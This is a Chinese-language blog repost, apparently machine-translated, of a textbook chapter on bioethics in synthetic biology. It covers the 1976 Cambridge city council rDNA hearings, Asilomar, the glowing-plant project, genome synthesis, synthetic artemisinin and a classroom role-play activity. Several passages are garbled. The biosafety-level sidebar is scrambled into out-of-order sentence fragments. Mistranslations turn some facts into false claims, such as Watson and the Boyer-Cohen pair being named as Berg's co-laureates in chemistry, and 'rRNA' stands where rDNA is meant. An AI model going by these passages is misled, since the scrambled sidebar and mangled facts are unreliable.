PURSUE ULTIMATE FACTS

2022-07-27
生物伦理学基础

第4章 生物伦理学基础

伦理学领域可以为个人提供工具来决定以道德和社会价值的方式行事意味着什么。通过从道德的角度看待行为,道德可以帮助我们在相互冲突的选择之间做出决定。在本章中,我们描述了一些最近的说明性例子,其中伦理问题已经对合成生物学领域产生影响,然后我们将这些问题提出的主题与一些 BioBuilder 活动联系起来。

FIGURE

什么是“好工作”?

想象一个研究人员在实验室工作台上努力工作。在你的想象中,那个研究人员可能穿着一件亮白色的实验室外套,手里拿着一个吸管。实验室本身可能装满了玻璃器皿和设备,用于混合、分离、生长或测量东西。也许有一群人在这个想象中的实验室里一起交谈,或者也许一位研究人员正独自一人在明亮的窗户前工作。

从这个想象中的实验室环境中,你能看出研究人员是否在做“好工作”吗?尽管在这个想象的环境中你可能已经想到了令人印象深刻的细节水平,但表面的线索并不能告诉你很多关于努力的无形品质。你不能仅仅因为想象中的研究人员在微笑,或者因为实验室的墙上挂着奖品,桌子上放着一堆已发表的文章,就判断它是好工作。这些线索可能表明一个快乐的、被认可的、知情的人正在做这项工作,但仅凭这些线索并不能反映工作本身的价值。那么,什么能保证工作就是好工作呢?这个问题出人意料地复杂且难以回答。

麻省理工学院语言学名誉教授诺姆乔姆斯基说,追求个人承诺和关注的机会是生活中最令人满意的事情之一。他建议令人满意的工作是在创造你重视的东西和解决难题中找到,并且这个公式对于研究科学家和木匠一样适用。那么,“好工作”的一个方面可能是拥有一份令人满意的工作,提供资源和机会来为重要的问题寻求具有挑战性和创造性的解决方案。但是,即使你找到了一份创造性的工作,可以让你独立思考一个具有挑战性的问题,你也可能无法保证自己完全满意。对于大多数人来说,好的工作包括为他们面临的挑战提出高质量的答案。我们中很少有人会发现为优秀的问题找到糟糕的解决方案是非常令人满意的——即使我们这样做的报酬很高。

FIGURE

因此,好的工作必须引人入胜且出色——它还必须符合道德规范。 道德指导我们确定什么是对什么是错,作为决定如何采取行动的基础,但并不是每个人都同意什么构成道德行为。更重要的是,一个人对道德行为的定义会随着时间而改变。由于这些原因,社会以持续和动态的方式与道德作斗争。生物伦理学领域有着悠久而丰富的历史,为当前的生物伦理学问题提供了概念基础。技术会发生变化,但生物伦理学的某些核心原则往往会保持相关性。例如,道德决策体现了对个人的尊重和负责任的管理,最大限度地减少伤害,同时最大限度地提高利益,并考虑自由、公平和正义的问题。在本章后面,我们将在几个真实世界的例子中探讨这些核心原则。正如您将看到的那样,道德是定义科学和工程中良好工作的基本要素,其结果不会在实验室工作台上结束。

FIGURE

合成生物学利用科学和工程来应对现实世界的挑战。不可避免地,这些技术解决方案将被一个充满相互冲突的想法和优先事项的社会考虑。进行合成生物学研究的个人也将面临复杂的,有时是相互矛盾的义务。例如,工程师对社会、对客户和对他们的职业负有义务。

今天出现的许多关于合成生物学的问题也出现在 1970 年代,随着重组 DNA (rDNA) 技术的出现。为了为我们讨论合成生物学伦理提供背景,我们将首先考虑 1976 年的一个历史例子,当时 rDNA 技术首次在马萨诸塞州剑桥的哈佛大学和麻省理工学院的实验室中使用。剑桥居民和当地民选官员举行了听证会,讨论与这种新基因工程技术相关的风险。他们最终在评估风险时暂停了半年的研究。当暂停解除后,研究被允许在包括大学官员和当地公民在内的监管委员会的指导下继续进行。这些听证会上提出的担忧在许多关于新兴技术的现代讨论中得到了回应,并继续提供有价值的见解。

FIGURE

在本章中,我们还考虑了在合成生物学这一年轻领域的特定项目中出现的一些伦理问题。毫无疑问,在不久的将来会有新的例子需要考虑。尽管如此,这里列出的例子为该领域的一些伦理复杂性提供了一个起点。它们反映了常见的道德问题,并揭示了广泛适用于新兴技术的指导道德原则。最后,我们重点介绍了 BioBuilder 活动和资源可用于直接解决这些问题的一些方法。

规范伦理研究

合成生物学有可能对人们的生活和整个地球产生持久的影响。然而,与任何新兴技术一样,将承诺与危险区分开来并不总是那么容易。每个合成生物学项目构想都必须考虑其优点和风险。在一定程度上,科学家可以根据个人喜好选择从事哪些项目,但科学研究从来不存在于真空中。资金、政府法规和企业利益都指导着研究的方向——它的目标、应用和局限。

合成生物学的未来取决于研究人员、政府和所有生活将受到影响的人之间的有意义的对话

这次谈话的一个里程碑发生在 2010 年,当时美国总统巴拉克·奥巴马 (Barack Obama) 委托他的一个咨询小组,即总统生物伦理问题研究委员会,研究和报告合成生物学。这个请求是为了回应发表的声明,即他们通过将合成衍生的基因组插入宿主细胞来“创造生命”——我们稍后会更详细地详细介绍这个例子。尽管当时的一些新闻报道将文特尔的科学进步等同于科学怪人式的复活,但委员会更广泛地研究了合成生物学领域,并得出结论认为,从零开始制造新生命形式的能力并不在手。他们对该领域的分析导致了 18 项政策建议,但没有针对合成生物学研究的新规定。该委员会指出,合成生物学的潜在好处在很大程度上超过了主要风险。然而,他们确实警告说,未来可能会出现危险,并建议通过持续的联邦监督“保持警惕”。

合成生物学并不是第一个接受政府审查的生物技术领域。随着分子生物学的出现,类似的讨论发生在 1970 年代。当时的讨论产生了至今仍适用于合成和 rDNA 工作的指导方针。制定这些指南的一个重要方面是进行研究的科学家发起了对话。对他们来说,做好和合乎道德的工作意味着公开询问有关他们实验室和同事实验室正在进行的研究的难题。

科学进步引发伦理问题

在 1970 年代,几个实验室发现了人工组合来自不同生物体的 DNA 并在活细胞中表达这些组合的方法。例如,斯坦福大学的 Paul Berg 博士发现了使用改良猴肿瘤病毒将新基因整合到细菌中的方法。然而,他的成功给他自己和其他人带来了一些重要的担忧。如果科学家使用这些技术改造细菌,然后不小心摄入了一些转化细胞怎么办? rDNA 能否从一个细菌细胞转移到人肠道中的其他细菌?如果 DNA 功能齐全,猴肿瘤病毒会引起感染吗?

在评估这些风险和问题之前,在 1970 年代从事 rDNA 研究的科学家采取了预防措施,并自愿决定暂停任何涉及 rDNA 和动物病毒的进一步工作,直到风险得到更好的了解。暂停研究活动是通过一组科学家写给美国国家科学院的一封关注信发起的,其中包括美国国立卫生研究院 (NIH) 的研究员 Maxine Singer 博士。有关科学家要求学院成立一个委员会来考虑该技术的安全性。 Berg 是 rDNA 技术的早期先驱,他担任委员会主席,负责考虑 rDNA 技术支持的正在进行的研究活动的安全性。委员会得出的结论是,该技术的“潜在风险而非已证明的风险”足以促使人们自愿暂停 rDNA 实验。他们停止了使用新型抗生素抗性基因、毒素编码基因或动物病毒 DNA 制造质粒的实验。尽管暂停是自愿的,但由于委员会成员的权威,该请求在科学界具有重要意义,其中包括与伯格共同获得诺贝尔化学奖的赫伯特·博耶和斯坦利·科恩,以及与伯格共同获得诺贝尔化学奖的詹姆斯·沃森。 DNA双螺旋结构的发现者。

在暂停期间,科学家和政策制定者共同确定风险并制定安全开展研究的策略。著名的科学家们在加利福尼亚州蒙特雷郊外的 Asilomar 会议场地召开会议,为 NIH 准备建议,这些指导方针演变成当前的生物安全水平,至今仍用于描述和包含最危险的实验。

公众回应

许多研究人员将 Asilomar 会议的成果视为一项重大成功,这将有助于确保安全和负责任的研究。然而,暂停引起的关注也有一些意想不到的副作用,包括引发科学界内外对这项研究的担忧。当时,公众对科学研究的大部分注意力都集中在军事实验和引领原子时代的物理学进步上。在 Asilomar 之前,与生物学相关的风险并没有受到太多公众的关注。 通过阐明他们对 rDNA 研究的具体担忧并主张暂停这项工作,生物学家引起了相当多的关注并引发了一场公开辩论

1976 年马萨诸塞州剑桥市议会听证会生动地说明了公众对 rDNA 研究的反应。当时的剑桥市长阿尔弗雷德·维卢奇(Alfred Velluci)得知哈佛大学正计划在美国国立卫生研究院(NIH)发布此类研究的指导方针后立即为高风险 rDNA 研究建立一个特殊实验室而感到沮丧。质疑这个实验室对他的城市及其选民意味着什么,市长 Velluci 召集了剑桥市议会的公开听证会,要求科学家们就 rDNA 及其相关风险作证。公职人员和科学家之间的交流引起了相关人员的担忧和愤怒。 许多问题都与处于起步阶段的任何技术相关,包括合成生物学。本章稍后将探讨三个具体问题——风险评估、自我监管和忧虑,听证会的完整视频记录了科学能力发生变化时出现的其他复杂的公民问题。

FIGURE

风险评估:最大限度地减少伤害,同时最大限度地提高利益

FIGURE

伦理指导我们权衡一项行动的风险与利益,但在剑桥市议会听证会上出现的最复杂的问题之一是评估与 rDNA 研究相关的风险。科学家和市政府官员都倾向于保守立场,但目的不同。市政府官员希望尽量减少对剑桥市民的潜在伤害,这意味着,至少对韦卢奇市长而言,消除所有风险。 “你能绝对 100% 地保证这个实验不会产生任何可能的风险吗?”他问科学家。 “危险风险为零吗?”

FIGURE

另一方面,作证的科学家通过承认他们不能对风险做出如此绝对的主张,传达了他们对新技术的保守观点。由于科学家受过训练以概率而非绝对的方式说话,因此他们很难以韦卢奇市长所寻求的语言类型向市议会传达一定程度的确定性。例如,哈佛大学教授 Mark Ptashne 说:“我相信绝大多数微生物学家的意见是,实际上授权进行的实验没有重大风险……” Ptashne 教授可能有意图的短语像“压倒性多数”和“没有重大风险”这样的强烈同意声明,但市长和市议会成员似乎认为它们没有定论

“现在我知道你不喜欢听到科学家告诉你存在风险,但它们非常低,”Ptashne 教授继续说道。 “这些风险比你每天在街对面所面临的典型风险要少。”事实上,我们在生活中所做的几乎所有事情都涉及某种风险,在做出决定时,我们会权衡风险与潜在利益,同时尽我们所能将潜在危险降至最低。在我们上街之前看两眼是在进行危险活动时保护自己的一个例子。通过应用 Velluci 市长最初的问题,“你能绝对 100% 确定地保证不会因此而产生任何可能的风险……吗?”对于上班或吃饭等日常活动,答案绝不是明确的“是”。 然而,诚实的风险评估在面对一组新的和未知的潜在危险时可能不会提供太多安慰,例如科学家和公众在 rDNA 实验早期所面临的危险。

自律与政府立法:自由、公平和正义

FIGURE

在剑桥市议会听证会上,并非所有科学家都同意 rDNA 研究风险低。对一些人来说,阿西洛玛会议的指导方针是有问题的。麻省理工学院教授乔纳森·金和其他人不相信美国国立卫生研究院 (NIH) 等机构可以客观地评估其资助的科学。 “我个人对一个代表美国国立卫生研究院 (National Institutes of Health) 的人来到这里并在继续进行的情况下发表他们的演讲感到非常沮丧,”他说。 “我不认为这些指导方针是由一群代表公众及其所有利益的人编写的……他们是做实验的人。没有任何理由相信它是人民的民主代表。这些指南就像让烟草业编写烟草安全指南一样。”

FIGURE

市议会议员大卫克莱姆回应了他的担忧:“这个国家有一个重要原则,即在某些类型的活动中拥有既得利益的人不应该是不仅负责颁布它,而且负责监管它的人。这个国家错过了核研究和原子能委员会的机会,我们将发现自己陷入困境,因为我们允许自己允许一个既得利益机构发起、资助和鼓励研究,但我们假设他们是无偏见的,并且有能力对此进行监管,更重要的是,执行他们的监管。”

然而,对于其他人来说,这些指导方针足以减轻他们的担忧。“我一直很担心,我会继续担心,”Maxine Singer 博士说,他是致美国国家科学院的原始信的作者之一,该信促使了暂停。但是,她继续说道,“我觉得这些 [用于 rDNA 研究的] 指南是对这种担忧的非常负责任的回应。NIH 内部的整个审议过程是一个非常开放的过程。”

FIGURE

自从这些关于 rDNA 研究的对话在 1970 年代举行以来,对话平台发生了巨大变化,但自治与立法之间的紧张关系依然存在。社区健康、个人安全和增强知识等核心价值观仍然必不可少,但通过互联网快速广泛地获取信息已经影响了此类对话的动态。除了类似 Asilomar 的会议和类似剑桥市议会的公开听证会之外,现在还可以通过网站(包括博客和 Twitter 提要)广泛交流想法和信息。然而,无论场地如何,在审慎的监督和扼杀的监督之间找到平衡仍然是围绕新兴技术的道德讨论和每个社区对“好工作”的定义的核心。

忧虑:尊重个人

许多人对新技术的反应,尤其是那些涉及生命科学的技术,内心的不安情绪是不容忽视的。修补 DNA 和构建新的生物体可能会质疑关于生命本质的基本信念。剑桥市议会的成员没有明确表达这种担忧,但有几条评论暗示了哲学上的反对。“我在过去一周提到了科学怪人,有些人认为这完全是一个大笑话,”维卢奇市长说。“这是我描述当众生以一种新的方式组合在一起时会发生什么的方式。这是一个致命的严重问题……如果最坏的情况发生,我们可能会面临一场重大灾难。”议员大卫克莱姆也表达了他对 rDNA 的感受:“无论如何,我认为你没有任何业务要做。但这是我个人的看法。”

这种对当时 rDNA 研究以及现在的合成生物学研究基础的根深蒂固的担忧不容忽视。进行这项工作的科学家可能已经得出结论,修改自然发生的遗传物质本身并没有错,但他们必须承认,他们的工作受到周围社会的影响并影响着他们。在某个领域拥有独特的专业知识会带来独特的责任,包括持续的风险评估和沟通。即使科学家对他们的风险评估有合理的信心,新的数据或环境也可能随着时间的推移改变这种评估。在社会背景下关注科学的部分中介绍了合成生物学案例研究。

三个合成生物学案例研究

开展安全 rDNA 研究的实验室政策不再在公共论坛上进行激烈辩论,但围绕合成生物学研究的现代对话与过去提出的一些担忧相呼应。此处详细介绍了与合成生物学研究相关的三个项目。每一个都引起了公众的关注和审查。这些例子突出了不同的生物伦理问题。每个例子都非常适合本章稍后描述的生物伦理学活动。

种植你自己的发光植物

FIGURE

“如果我们用树木而不是电动路灯来照亮街道会怎样?”在 2013 年将 Glowing Plant 项目的介绍视频发布到 Kickstarter 网站时,该项目的开发者提议对植物进行基因工程以产生光。他们的项目受到了其他自然产生光的生物的启发,例如萤火虫、水母和某些细菌。Glowing Plant 的开发人员选择使用编码荧光素酶的基因,这是一种来自萤火虫的酶,可从其化学底物荧光素中产生可见的光芒。他们还选择与拟南芥植物合作,这是一种广泛用于学术和工业研究的常见实验室生物。开发人员制作的关于该项目的介绍视频将他们将荧光素酶插入拟南芥中描述为“未来的象征,可持续性的象征”。许多人一致认为该项目是一项值得努力的项目:Glowing Plant 开发团队通过 Kickstarter 网站上的筹款活动从 8,433 名支持者那里获得了 484,013 美元的众包资金。

尽管高调的言辞和该项目的众多支持者,批评者表达了他们对该项目的安全和道德的担忧,公开询问它是否受到适当的监管。几十年来,转基因作物一直存在争议,人们担心食用此类产品的安全性、潜在的环境和生态影响以及有时围绕使用此类作物的限制性商业行为。抗议者询问如果发光植物种子“逃逸”到野外,可能会成为入侵物种或破坏自然发生的生态系统,会发生什么情况。值得称赞的是,领导该项目的研究人员甚至在项目的早期阶段就预料到了这些问题。例如,其中一位研究人员告诉《自然》杂志,他们可能会使用需要营养补充剂的植物版本,这将减少不受控制的传播的可能性。然而,这种保证并不足以减轻对该项目的所有担忧。What a Colorful World 一章更广泛地考虑了基盘安全性。

围绕该项目的“自己动手”精神产生了第二个担忧。这种发光的植物是由不隶属于大学的个人开发的。该组织隶属于“生物黑客”空间,而不是传统且高度监管的学术或工业研究实验室。尽管至少有一个项目负责人是训练有素的科学家,但至少来自 Glowing Plant 团队的部分外卖信息似乎是,“任何人都可以做到这一点。”确实该项目的一个既定目标是展示合成生物学的前景如何触手可及,这引发了关于应如何决定应开发和部署哪些技术的问题。他们的介绍视频将他们的作品称为“激励他人创造新生物的象征”。尽管合成生物学在新生物的广泛工程中的潜力被一些人认为是赋权且充满机会,但其他人认为合成生物学提供了一些基本工具来造成相当大的伤害,而发光植物项目为新能力提供了早期测试案例在公民科学中。

因为像发光植物项目这样的生物工程项目处于大多数已建立的监管机构的夹缝中,生物黑客的努力已经引发了关于如何保持该领域的邀请和民主性质,同时确保适当的预防措施和监管的重要讨论。保持监督。现有的法律法规没有预料到很多人有能力实践生物技术。尽管可能很难想象发光植物会造成任何严重伤害,但合成生物学的工具和目标仍在不断突破可能的界限。因此,对于合成生物学研究人员而言,重要的是要考虑早期测试案例(例如发光植物)所带来的伦理问题,以预测未来的监管需求,并确保该领域继续朝着促进“良好工作”的方向发展。

“创造”基因组

由于改进了 DNA 操作工具,合成生物学实验室可以致力于构建新的生命系统,例如前面提到的发光植物或产生特定药物化合物或生物燃料的特殊微生物。改进的工具还开辟了其他可能性,包括新的努力从头开始编写整个基因组。随着越来越容易和速度越来越快,合成生物学家可以使用数字序列数据而不是物理模板来合成实验室中任何生物体的基因组 DNA。合成生物学基础章节提供了有关测序和合成技术的更多详细信息。

随着研究人员开始收集大量基因组测序数据,开放共享 DNA 序列数据在 1990 年代后期变得司空见惯。很明显,研究人员囤积他们的序列信息效率低下,而且浪费时间和资源。解决方案是创建公开可用的数据库来存储信息。这样,任何有互联网连接的人都可以访问各种生物的序列数据。 DNA 序列信息可公开用于许多植物和动物物种、常用的耐药基因和人类病原体

基于所有这些可用的遗传数据,理论上,研究人员可以构建可以从头开始编码新生物的合成基因组。但是,尽管好莱坞的侏罗纪公园可能会提出什么建议,但目前成功重建生物体所需的远不止遗传物质。尽管如此,从基因数据中召唤生命的可能性既令人兴奋又令人担忧。许多生物体和病原体的 DNA 序列信息是公开的,基本的 DNA 合成技术使任何负担得起的人都可以编写遗传密码。将这项技术用于善恶的潜力是显而易见的。一些人担心恐怖分子会通过合成一种已被根除或高度遏制的病原体来释放毁灭性的生物武器。其他人则看到了复活灭绝物种和增强地球生物多样性的潜力。所有这些可能的应用都提出了许多额外的伦理、生态和社会学问题。例如,是否应该以任何方式规范对基因组合成器的数字序列信息的访问?对于某些涉及 DNA 合成的实验,是否应该要求研究人员获得额外的安全和伦理批准?复活已灭绝的物种可能带来什么生态后果?

FIGURE

尽管研究人员目前还远远不能仅从遗传信息中生成复杂的生物体——或者,就此而言,甚至无法将这些生物体的基因组 DNA 拼接在一起——有几个成功合成病毒基因组的实例,这些微观病原体相对于那些自由生活的生物体更简单的遗传学和结构使之成为可能。病毒本质上是被蛋白质外壳包围的遗传物质包。病毒基因组通过劫持宿主细胞的合成机器来运作,指示它产生更多的病毒 DNA 和蛋白质拷贝。换句话说,研究人员可以通过化学合成 DNA 并将合成的病毒基因组通过宿主细胞来产生功能性病毒。

这种应用的一个早期例子出现在 2002 年,当时纽约州立大学石溪分校的科学家从合成产生的短 DNA 片段重组了脊髓灰质炎病毒的基因组,并表明它们可以产生活性病毒。拼凑从 DNA 合成公司购买的短片段需要大量专业知识,但在该项目完成后的几年中,合成技术得到了改进,能够生产更长的 DNA 片段并减少完成所需的技能和工作量这种工作。2002 年的脊髓灰质炎病毒工作是在受监管的安全实验室环境中安全进行的,但相对容易想象,在不同环境中工作的其他人如何以不同的目标危险地应用该技术

基因组合成项目也已经从病毒扩展到更复杂的、自由生活的细菌细胞。2010 年,J. Craig Venter 研究所的研究人员表明,他们可以合成细菌基因组,就像病毒基因组一样,可以劫持细菌宿主细胞的活动。Venter 小组通过从一家 DNA 合成公司订购 DNA 短片段,然后在实验室将这些片段组装成完整的基因组,化学合成了蕈状支原体基因组。他们添加了一些可检测的“水印”,以便将合成的 DNA 与山羊支原体宿主的基因组区分开来。合成的蕈状支原体基因组成功构建并插入山羊支原体宿主细胞,最终用合成基因组编码的蛋白质和宿主物种的独特蛋白质和其他成分取代。重要的是,供体和宿主物种都来自同一个属,支原体。这种对供体和宿主之间密切关系的要求说明了对这类工作的一个限制。尽管如此,**研究人员基本上将 M. capricolum 转化为不同的物种,M. mycoides,只靠 DNA **。

甚至在文特尔的工作之前,研究人员和公众就一直关注许多生物体 DNA 序列数据的公开可用性以及 DNA 合成技术的日益普及。2011 年,两个实验室开发了 H5N1 禽流感的突变株,公共遗传信息库的开放性也受到了审查。他们独立发现的突变使病毒比天然菌株更容易在哺乳动物之间传播。当研究结果公布时,专家们对是否应该公布突变病毒的序列存在分歧。一些人认为,遗传数据可以为病毒传播提供有价值的见解,因此应该共享。其他人担心生物恐怖分子或其他不良行为者可能会利用这些信息来制造一种高毒性、高传染性的人类流感。经过多次辩论和出版延迟,世界卫生组织得出结论认为应该公布这些序列。这种困境无疑将再次浮出水面,因为可以更容易地从数字和公开可用的信息而不是任何有形的起始材料开始制作物理 DNA 序列。

另一种限制病原体合成的方法是监管 DNA 合成公司本身。然而,这些公司分散在全球各地,这使得法规的授权和执行成为一项挑战。相反,许多 DNA 合成公司自愿参与安全协议,以筛选所有订单并质疑合成与已知病原体相似的 DNA 的任何请求,然后再决定是否履行它们。

DNA 合成公司遵循的自愿行为准则可能会阻止一些恶毒的人,但它并非万无一失。2006 年,英国报纸《卫报》通过为高度管制的天花病毒订购略微修改的 DNA 序列,说明了系统中的一个漏洞。《卫报》的记者在保存基因序列信息的众多公共存储库之一中发现了该病毒的完整 DNA 序列,他们下令合成 DNA 片段并将其交付给他们的新闻编辑室。因此,尽管除了两个已知且高度控制的实验室外,其他所有实验室都已根除物理病毒,但记者们还是能够获得编码致命天花病毒的遗传物质。这个新闻报道提高了人们对 DNA 合成行业的认识,但并未在生物安全问题上取得显着进展。保持适当的平衡以确保合成技术和序列信息足够安全以阻止作恶者,但出于正当的研究原因也可以访问,例如学术和工业研究人员从剧毒病原体中订购序列以开发疫苗,这仍然具有挑战性或其他针对他们的治疗。

生物合成药物与公共利益经济学

合成生物学最早的成功之一是由合成生物学公司 Amyris 微生物生产青蒿酸——抗疟药青蒿素的一种有价值的前体。自从发现其抗疟特性以来,青蒿素的需求量一直很大,但生产起来也有些困难。历史上,它是从天然产生青蒿素的中国艾草植物青蒿中提取的,但农民一直难以为这一过程提供稳定的叶子供应,导致供应和价格大幅波动。相信可靠的青蒿素来源可以稳定药物的市场价格并更好地满足需求,加州大学伯克利分校的 Jay Keasling 教授和他的实验室致力于合成青蒿素。使用合成生物学中的许多基础技术以及代谢工程领域的成熟工具,该实验室能够设计出能够产生药物前体的细菌和酵母菌株。终于,在生产公司 Amyris 成立十年后的 2013 年,合成青蒿素的大规模工业化生产开始了。

FIGURE

一些人称赞这一成功是合成生物学可以做的好事的一个例子。不过,其他人表达了对这项工作的社会和经济影响的担忧,主要是关于它将如何影响迄今为止生产全球青蒿素供应的农民。尽管该合成物经历了过山车式的供应周期,但一些人认为,近年来生产环境可能已经稳定,农民实际上可能有能力适当应对日益增长的药物需求。如果属实,农民可以在不引起药物价格大幅波动的情况下应对供需变化,而合成青蒿素可以被认为是对他们生计的不必要威胁。

还讨论了其他考虑因素。例如,一些人建议,可以腾出不用于种植艾草的农民和土地来种植急需的粮食作物。其他问题仍然存在,即哪种青蒿素生产过程最终会产生最便宜的治疗,或者费用是否甚至是最重要的问题。具体而言,获得治疗可能与其成本一样重要,甚至更重要,除了生产必要的化合物之外,还必须通过基础设施和政策工具来解决获得障碍。

尽管它取得了成功和崇高的使命,但抗疟药物的合成生产并不是一个公开的案例。关于哪种供应来源可以更好地为需要负担得起的稳定治疗的患者和需要谋生的农民提供服务一直存在争议。之前的案例研究主要关注健康、安全和环境健康问题,而这个青蒿素案例说明了合成生物学的应用如何超越科学和医学,进入复杂的世界问题,包括文化和经济。追求或支持任何项目的决定是一个复杂的决定,研究人员、资助机构和消费者都承担着确定什么是“好工作”的责任。

团体生物伦理活动

生物伦理学和生物设计活动有许多相同的挑战和机遇。两者都没有明确的“正确”或“错误”方法,两者都是过程驱动而不是答案驱动。在教授生物伦理学时,我们希望个人:

  • 认识到新进展引起的道德困境。
  • 练习如何倾听和评估不同的观点。
  • 提出解决我们政策或思想差距的行动方案并证明其合理性。有些解决方案对每个人来说都是显而易见的,而其他解决方案将永远存在争议,但教学的最佳点就在那个广阔的中间区域。

在这里,我们提供了一种使用合成生物学来介绍生物伦理学的方法。BioBuilder 内容首先使用 1976 年剑桥市议会关于 rRNA 研究的听证会视频对决策制定的困难过程进行建模。不过,该活动可以适用于本章中介绍的任何案例研究或其他真实的案例研究。您可能会在新闻中找到世界上的例子。您可以通过 BioBuilder Bioethics 在线材料找到更详细的其他活动,其中包括学习目标和评估指南。另一个极好的资源是 NIH 的课程补充“探索生物伦理学”。无论您如何处理这个过程,我们希望这些活动可以鼓励个人提出一些复杂的问题,并接受他们作为专业人士和公民的多重角色。

生物伦理学涉及决策过程

新生物技术的出现,例如 1970 年代的 rDNA 能力和这个时代的合成生物学工具,使我们能够以前所未有的方式改变生命系统。虽然大多数 BioBuilder 活动都涉及如何进行合成生物学,但本节重点关注我们应该如何处理合成生物学。为了回答“应该”而不是“如何”的问题,我们转向伦理领域,它提供了一个就道德复杂问题做出决定的过程。在下一节中,我们将概述一种提出“我们应该”问题的方法。

识别道德问题

伦理为我们提供了一个通过从多个角度仔细考虑问题来解决难题的过程。此过程的第一步是确定特定场景的道德组成部分。“应该”问题是一个标志。例如,“科学家应该建立新的生物吗?”显然是一个生物伦理问题,而“建造新生物安全吗?”是一个科学的。其他类型的问题可能是合法的(“如果我制造了新的生物,我会被罚款或监禁吗?”)或个人喜好问题(“我应该做什么样的研究?”)。区分个人偏好问题和道德问题可能会变得非常棘手,因为它们都可能包含“应该”问题。一个关键区别是决策如何影响其他人。当其他人对结果有利害关系时,问题就变成了道德问题,而不仅仅是偏好问题。

识别利益相关者

在确定问题的核心伦理问题后,下一步涉及确定谁或什么可能受到结果的影响。这些“利益相关者”可以包括政府、学术界、公司、公民或环境等非个人。从多个角度考虑问题是道德决策的一个关键方面。并非总是能够满足所有利益相关者,因此确定谁的利益受到保护是该过程的主要部分。

将事实与指导道德原则联系起来

该过程的下一阶段涉及概述相关事实和指导道德考虑。科学和社会事实对于做出生物伦理决策都很重要。在决定科学家是否应该建造新生物时,重要的是要考虑有关安全的科学事实以及有关特定人群是否可能面临不成比例的风险的社会事实。当有关问题的信息不完整时,可能需要进行额外的研究才能做出明智的决定。或者,决策是基于最佳可用知识做出的,但在新信息出现时具有足够的灵活性以进行更改。相关事实对于特定情况是相当具体的,但指导性的道德考虑往往更广泛适用。它们反映了我们生活的社会类型,或者至少反映了我们向往的社会。指导道德决策的一些共同核心原则包括尊重个人、在最大限度地提高利益的同时最大限度地减少伤害以及公平。我们可能会选择以不同的方式优先考虑这些核心原则或包括其他相关原则,但许多道德决策包含了这些想法中的一个或多个。

最后,是时候根据您考虑的观点做出决定了。在现实世界中,道德不仅仅是思想练习。决策会影响公共政策和法律。毕竟,这些后果是伦理审议的重点。尽管我们很少在社会伦理问题上达成一致,但我们可以使用这个过程来证明我们自己的推理是正确的。

剑桥市议会听证会:行动中的生物伦理学

前马萨诸塞州剑桥市市长 Alfred Velluci 在 1976 年剑桥市议会听证会上告诉召集的科学家小组“不要使用字母表”时,他要求科学家们避免使用行话,但他也提供了一个标语来区分两者。科学与社会。您可以从 MIT 150 网站观看 30 分钟的听证会视频,“假设风险,剑桥市议会关于剑桥 DNA 实验的听证会”。视频中的交流突出了任何新兴技术的许多相关方面,而不仅仅是 rDNA。

在观看视频之前,先回顾一下“重组 DNA”的含义,这是有帮助的,它是从不同的天然或合成来源拼接在一起的 DNA(有关详细解释,请参阅合成生物学基础和 DNA 工程基础章节)和“生物安全水平”,它们是描述包含危险生物材料所需程序的实验室名称(有关此的更多信息,请阅读以下侧边栏以及 NIH 和 BioBuilder 网站上的其他资源)。


生物安全水平

BL4 实验室含有引起危及生命的疾病的最高风险的传染源。BL2 实验室也适用于人体细胞和细胞系。例如,BL1 实验室仅使用经过充分研究的生物体,这些生物体已知不会在健康成人中引起疾病。BL4 实验室是对世界上最危险的病原体(如埃博拉病毒)进行研究的地方。这些实验室拥有专门的设备来物理控制实验并防止病原体扩散到“清洁”区域。美国国立卫生研究院 (NIH) 使用四个生物安全级别对含有危险生物材料的实验室进行分类。当科学家研究可治疗但危险的病原体(例如引起鼠疫、SARS 和西尼罗河脑炎的病毒)时,需要 BL3 实验室。BL1 实验室包括典型的高中和本科教学实验室。BL4 实验室很少见,通常设在孤立的建筑物中以保护邻近社区。在 1970 年代被称为生物危害水平 P1、P2、P3 和 P4 的水平现在被称为生物安全水平 (BSL) 1、2、3、4。BSL1(或 BL1,历史上为 P1)表示包含危险性最低的生物体的实验室和 BL3 实验室的科学家需要使用高度专业化的防护设备和程序。在这些实验室中,科学家根据需要戴上手套、实验室外套和护目镜。 材料,而 BL4 实验室包含最危险的试剂。例如,实验室的空气在排放到室外之前会经过过滤,并且对实验室的整体访问受到严格限制。BL2 实验室适用于研究导致非致命疾病的细菌和病毒,例如莱姆病或沙门氏菌感染。每个级别都指定了将该设置的风险降至最低所需的预防措施和程序。


为了为这里描述的活动奠定基础,想象科学界对重组 DNA 实验的安全性提出担忧三年后。在 NIH 发布规范重组 DNA 工作的指导方针之后一个月。剑桥市议会正在与附近机构的科学家会面,讨论这些指南对实验室周围社区的影响,并考虑该市可能采取的其他决议和行动,以确保其公民的安全。听证会于 1976 年在剑桥市政厅录制,尽管音频和视频质量有所下降,但它为了解这些辩论的动态提供了一个宝贵的窗口,展示了有时回想起来看起来只是学术性的人性的一面辩论或简化为过度情绪化的公众反应。

看完剑桥市议会的录像带后,分发 BioBuilder 网站和本章末尾提供的成绩单副本。以小组的形式回顾角色的演员阵容。然后,分成更小的小组,每组分配一个主要参与者。每个小组都应该指定一个记录者来记录他们的角色如何回应(或没有回应)以下问题:

  • rDNA 实验会产生危险的生物吗?
  • rDNA 实验是否应受 NIH 监管?
  • rDNA 实验是否应受剑桥市议会监管?
  • rDNA 的“常规”实验是否会危及进行实验的研究人员?
  • rDNA 的“常规”实验会危及剑桥市民吗?
  • rDNA 研究有什么好处吗?
  • 剑桥应该允许 rDNA 研究吗?

记录每个角色是否决定,1) rDNA 是否应按照 NIH 已经制定的指导方针继续进行,或者,2) 是否应暂停剑桥市的所有 rDNA 实验,直到发生进一步的调查。

引入利益相关者的概念,即受决策结果影响的人。视频中介绍了哪些利益相关者?一些例子可能包括科学家、公民、民选政府官员、任命政府官员、环保倡导者、学者、渔民等。

为每个角色分配他/她的主要利益相关者角色,然后报告以下问题:

  • 你的角色的主要利益相关者角色是什么?
  • 你们是否都立即同意为您的角色分配哪个利益相关者角色?
  • 您考虑过哪些次要角色?

作为一个小组,回顾利益相关者的角色如何与角色的决定保持一致。一个群体的利益相关者是否都持有相同的观点?使用以下一个或多个焦点主题可以进一步促进讨论:


风险评估

不同的利益相关者如何处理 rDNA 研究的风险评估?

检测和监视威胁

利益相关者的背景知识和经验如何影响他们检测威胁的方式?直接访问和控制潜在威胁如何影响对该威胁的感知?

紧急情况和准备

对紧急情况的合理准备水平是多少?可以做些什么来就罕见但可怕的可能情况的合理准备水平达成一致?如何确定和讨论此类准备的权衡取舍?

话语和修辞

